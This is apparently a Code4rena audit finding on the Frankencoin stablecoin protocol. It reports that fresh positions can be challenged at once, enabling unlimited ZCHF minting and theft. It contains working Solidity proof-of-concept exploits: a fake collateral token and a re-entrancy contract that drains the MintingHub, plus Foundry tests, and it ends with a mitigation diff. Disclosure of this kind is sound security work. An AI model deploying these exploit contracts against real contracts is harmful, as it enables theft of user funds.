Fresh positions can be instantly challenged leading to unrestricted minting of ZCHF tokens
code423n4 opened this issue · 3 comments
Lines of code
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L140-L148
Vulnerability details
Challenge functions in the MintingHub do not perform any type of validation regarding when the positions start, or if they are in some cooldown state.
So, anyone can create a fresh position with arbitrary values, and just right after that perform an exploit using the challenge functions.
Impact
Infinite minting of the ZCHF token.
This allows for example claiming ZCHF for XCHF tokens via the StablecoinBridge. Any XCHF tokens on the bridge are at risk.
Other exploits with critical impact could also be performed tweaking this exploit by changing other position values.
Proof of Concept
The vulnerability lies on the fact that a challenge can be created for a fresh created position. There is no restriction for cooldown, start time, or any other check.
There is no restriction for the collateral passed to the MintingHub::openPosition either. So it is possible to create a fake one and use it. This would be caught by minters or voters on normal situations, but this attack can be performed in one transaction.
function openPosition(
address _collateralAddress, uint256 _minCollateral, uint256 _initialCollateral,
uint256 _mintingMaximum, uint256 _initPeriodSeconds, uint256 _expirationSeconds, uint256 _challengeSeconds,
uint32 _mintingFeePPM, uint256 _liqPrice, uint32 _reservePPM) public returns (address) {
IPosition pos = IPosition(
POSITION_FACTORY.createNewPosition(
msg.sender,
address(zchf),
_collateralAddress,
_minCollateral,
_mintingMaximum,
_initPeriodSeconds,
_expirationSeconds,
_challengeSeconds,
_mintingFeePPM,
_liqPrice,
_reservePPM
)
);
zchf.registerPosition(address(pos));
zchf.transferFrom(msg.sender, address(zchf.reserve()), OPENING_FEE);
require(_initialCollateral >= _minCollateral, "must start with min col");
IERC20(_collateralAddress).transferFrom(msg.sender, address(pos), _initialCollateral);
return address(pos);
}No check for positions in cooldown or start time in MintingHub::launchChallenge(). So it is possible to launch a challenge even on the same block as the position was created:
function launchChallenge(address _positionAddr, uint256 _collateralAmount) external validPos(_positionAddr) returns (uint256) {
IPosition position = IPosition(_positionAddr);
IERC20(position.collateral()).transferFrom(msg.sender, address(this), _collateralAmount);
uint256 pos = challenges.length;
challenges.push(Challenge(msg.sender, position, _collateralAmount, block.timestamp + position.challengePeriod(), address(0x0), 0));
position.notifyChallengeStarted(_collateralAmount);
emit ChallengeStarted(msg.sender, address(position), _collateralAmount, pos);
return pos;
}The MintingHub::end() function doesn't have any check either. So it is even possible to end the challenge on the same block, if the challenge was set to have 0 as its challenge expiration value. This is possible because any value can be set on this position, as no one would be able to deny it (as the exploit is performed on the same transaction).
function end(uint256 _challengeNumber, bool postponeCollateralReturn) public {
Challenge storage challenge = challenges[_challengeNumber];
require(challenge.challenger != address(0x0));
require(block.timestamp >= challenge.end, "period has not ended");
// challenge must have been successful, because otherwise it would have immediately ended on placing the winning bid
returnCollateral(challenge, postponeCollateralReturn);
// notify the position that will send the collateral to the bidder. If there is no bid, send the collateral to msg.sender
address recipient = challenge.bidder == address(0x0) ? msg.sender : challenge.bidder;
(address owner, uint256 effectiveBid, uint256 volume, uint256 repayment, uint32 reservePPM) = challenge.position.notifyChallengeSucceeded(recipient, challenge.bid, challenge.size);
if (effectiveBid < challenge.bid) {
// overbid, return excess amount
IERC20(zchf).transfer(challenge.bidder, challenge.bid - effectiveBid);
}
uint256 reward = (volume * CHALLENGER_REWARD) / 1000_000;
uint256 fundsNeeded = reward + repayment;
if (effectiveBid > fundsNeeded){
zchf.transfer(owner, effectiveBid - fundsNeeded);
} else if (effectiveBid < fundsNeeded){
zchf.notifyLoss(fundsNeeded - effectiveBid); // ensure we have enough to pay everything
}
zchf.transfer(challenge.challenger, reward); // pay out the challenger reward
zchf.burn(repayment, reservePPM); // Repay the challenged part
emit ChallengeSucceeded(address(challenge.position), challenge.bid, _challengeNumber);
delete challenges[_challengeNumber];
}Given that the collateral token passed is created by the attacker, it can spoof the responses to functions like collateral.balanceOf(), collateral.transfer(), or collateral.transferFrom() in order to manipulate the values needed.
This way it can manipulate the values returned by Position::notifyChallengeSucceeded():
(address owner, uint256 effectiveBid, uint256 volume, uint256 repayment, uint32 reservePPM) = challenge.position.notifyChallengeSucceeded(recipient, challenge.bid, challenge.size);Making it viable to call Frankencoin::notifyLoss():
zchf.notifyLoss(fundsNeeded - effectiveBid); // ensure we have enough to pay everythingFrankencoin::notifyLoss() takes ZCHF tokens from the reserve, or mints them if there are not enough:
function notifyLoss(uint256 _amount) override external minterOnly {
uint256 reserveLeft = balanceOf(address(reserve));
if (reserveLeft >= _amount){
_transfer(address(reserve), msg.sender, _amount);
} else {
_transfer(address(reserve), msg.sender, reserveLeft);
_mint(msg.sender, _amount - reserveLeft);
}
}Once the tokens are transfered to the MintingHub, they are finally transfered to the attacker:
zchf.transfer(challenge.challenger, reward); // pay out the challenger rewardTest POC - Attack vector 1
This tests proves how to mint ZCHF tokens by creating a position with a fake collateral token.
Steps:
• Create a position with the fake collateral token
• Create a challenge via MintingHub::launchChallenge
• Call MintingHub::end. Internally it will mint tokens via zchf.notifyLoss
• This will mint new tokens to the attacker
Add this contract to the end of the test/GeneralTest.t.sol file:
contract FakeTokenEnd {
MintingHub immutable public hub;
constructor(address _hub) {
hub = MintingHub(_hub);
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
return true;
}
function transfer(address recipient, uint256 amount) public returns (bool) {
return true;
}
function balanceOf(address account) public view returns (uint256) {
return 1e36 ether;
}
}Add this test inside the GeneralTest in test/GeneralTest.t.sol:
function testEndPOC() public {
// Create a "minter" to distribute zchf tokens and set up the environment
User minter = new User(zchf);
// Obtain zchf tokens
minter.obtainFrankencoins(swap, 1_000 ether);
// Set up an attacker and send 1_000 zchf to open a position and perform the attack
address attacker = vm.addr(666);
uint256 attackerZCHF = 1_000 ether;
minter.transfer(zchf, attacker, attackerZCHF);
assertEq(zchf.balanceOf(attacker), 1_000 ether);
// Perform the attack
vm.startPrank(attacker);
// Create a fake collateral contract and send it zchf to perform the attack
FakeTokenEnd fakeToken = new FakeTokenEnd(address(hub));
address pos = hub.openPosition(address(fakeToken), 0, 0, 2 ** 255, 3 days, 0, 0, 0, 1 ether, 0);
uint256 challengeNumber = hub.launchChallenge(pos, 1_000_000_000 ether);
hub.end(challengeNumber, true);
vm.stopPrank();
// Verify that the attacker minted 20_000_000 zchf tokens
assertEq(zchf.balanceOf(attacker), 20_000_000 ether);
}Run the test: forge test -m "testEndPOC"
Test POC - Attack vector 2
It is also possible to exploit the lack of validation of the challenges via the MintingHub::bid function.
In this case the assets at risk are all ZCHF in the MintingHub contract. Every time a bid is created, those tokens are sent to the contract. So an attacker can steal them.
This attack is more sophisticated and involves a re-entrancy in the bid function if a fake collateral token is used:
// bid() function
challenge.position.collateral().transfer(msg.sender, challenge.size); // @audit re-entrant for a fake collateral tokenSteps:
• Create a position with the fake collateral token
• Create a challenge via MintingHub::launchChallenge
• Call MintingHub::bid with a small bid. This is the amount that will be stolen each time the function is re-entered
• Call MintingHub::bid with a bid big enough to avert the challenge
• First thing the bid function does is pay back the previous bid
• The function will re-enter on the line pointed out earlier
• It will pay back the previous bid again (because the challenge was not deleted)
• Repeat enough times as long as the gas allows it
• All re-entered function will exit by calling delete challenges[_challengeNumber]; which succeeds
• The attacker is able to steal the tokens from the MintingHub
Add this contract to the end of the test/GeneralTest.t.sol file:
contract FakeToken {
MintingHub immutable public hub;
Position public pos;
uint256 public challengeNumber;
uint256 public challengeSize;
uint256 public positionSize;
uint256 public counter;
constructor(address _hub) {
hub = MintingHub(_hub);
}
function attack(uint256 _positionSize) external {
positionSize = _positionSize;
challengeSize = positionSize * 99 / 100; // Has to be slightly less than positionSize
uint256 liqPrice = positionSize * 1e18 / challengeSize;
// Open a position with this contract as a fake collateral token
pos = Position(
hub.openPosition(address(this), 0, 0, 2 ** 255, 3 days, 0, 1, 0, liqPrice, 0)
);
// Launch a challenge that will be used to perform the exploit
// There is no limitation to call `launchChallenge` despite the position being in cooldown period
challengeNumber = hub.launchChallenge(address(pos), challengeSize);
// The first bid sets a `challenge.bid = challengeSize`
// `challengeSize` is the amount that will be stolen with each re-entrant call
hub.bid(challengeNumber, challengeSize, challengeSize);
// The second bid will call `transfer` and re-enter this contract
hub.bid(challengeNumber, positionSize, challengeSize);
// Withdraw stolen funds
pos.zchf().transfer(msg.sender, pos.zchf().balanceOf(address(this)));
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
return true;
}
function transfer(address recipient, uint256 amount) public returns (bool) {
bool allStolen = pos.zchf().balanceOf(address(hub)) < challengeSize;
if (allStolen || counter++ > 50) {
return true;
}
// Launch fake challenges to increase `pos.challengedAmount`
// This will prevent an underflow in `tryAvertChallenge()`
hub.launchChallenge(address(pos), challengeSize);
// Re-entrancy
// Each time it runs, it steals zchf tokens from the Minting Hub
hub.bid(challengeNumber, positionSize, challengeSize);
return true;
}
}Add this test inside the GeneralTest in test/GeneralTest.t.sol:
function testPOC() public {
// Create a "minter" to distribute zchf tokens and set up the environment
User minter = new User(zchf);
// Obtain zchf tokens
minter.obtainFrankencoins(swap, 1_000_000 ether);
// Send zchf tokens to the Minting Hub
// zchf tokens are stored in the Minting Hub when users bid on challenges
// These tokens will be stolen
minter.transfer(zchf, address(hub), 100_000 ether);
assertEq(zchf.balanceOf(address(hub)), 100_000 ether);
// Set up an attacker and send some zchf to perform the attack
// 1000 zchf are needed to open a position
// 4000 zchf will be used to perform the attack
address attacker = vm.addr(666);
uint256 attackerZCHF = 5_000 ether;
minter.transfer(zchf, attacker, attackerZCHF);
assertEq(zchf.balanceOf(attacker), 5_000 ether);
// Perform the attack
vm.startPrank(attacker);
// Create a fake collateral contract and send it zchf to perform the attack
FakeToken fakeToken = new FakeToken(address(hub));
zchf.transfer(address(fakeToken), attackerZCHF);
// Perform the attack. 1000 zchf are used for opening a position
uint256 positionSize = attackerZCHF - 1000 ether;
fakeToken.attack(positionSize);
vm.stopPrank();
// Verify the attacker stole the zchf tokens
assertGt(zchf.balanceOf(attacker), 100_000 ether);
// Verify the tokens were stolen from the Minting Hub
assertLe(zchf.balanceOf(address(hub)), 1_000 ether);
}Run the test: forge test -m "testPOC"
Test POC - Attack vector 3
A spin-off of the Attack vector 1, can be to even let voters deny the position. That only sets cooldown = expiration, and as proved previously, there is no check that the position is not a some cooldown state.
function deny(address[] calldata helpers, string calldata message) public {
if (block.timestamp >= start) revert TooLate();
IReserve(zchf.reserve()).checkQualified(msg.sender, helpers);
cooldown = expiration; // since expiration is immutable, we put it under cooldown until the end
emit PositionDenied(msg.sender, message);
}Recommended Mitigation Steps
It is worth mentioning that the vulnerability here relies on the fact that challenges can be executed for positions that have not been "validated" by minters or voters, meaning they didn't have any opportunity to deny them.
The best place to implement a guard would be in the MintingHub::launchChallenge. If no challenge is created, nor bid, nor end would be able to be executed.
One possible solution could be to add a modifier to the MintingHub::launchChallenge function to check that the position has started. This will mean that it has passed its initial period where minters or stakers can deny it.
It should also check that the position was not denied. A denied value should be added to Position.
Using the cooldown, or expired may be conflictive and can lead to errors. Those values are quite overloaded, and would make it difficult to create a solution that solves this exploit while preserving normal functionality of the challenge functions for legit positions.
// MintingHub.sol
+ modifier posStarted(address position) {
+ require(block.timestamp >= Position(position).start(), "pos not started");
+ require(Position(position).denied() == false, "pos is denied");
+ _;
+ }
- function launchChallenge(address _positionAddr, uint256 _collateralAmount) external validPos(_positionAddr) returns (uint256) {
+ function launchChallenge(address _positionAddr, uint256 _collateralAmount) external validPos(_positionAddr) posStarted(_positionAddr) returns (uint256) {There are some tradeoffs of making this change:
As challenge functions won't be able to be executed for denied positions, some other mechanism should be implemented to seize the collateral from them.
As challenge functions won't be able to be executed during the initial period, this leaves the responsibility for denying undercollateralized positions before the start to minters and voters. If not, those positions would be able to mint undercollateralized tokens as soon as they reach the start of the position.
In case that's an issue, another suggestion would be to separate the initial cooldown in two phases. One for the minters and voters to be able to deny suspicious positions, and a cooldown for protocol users to be able to challenge undercollateralized positions.
0xA5DF marked the issue as duplicate of #973
0xA5DF marked the issue as duplicate of #458
hansfriese marked the issue as satisfactory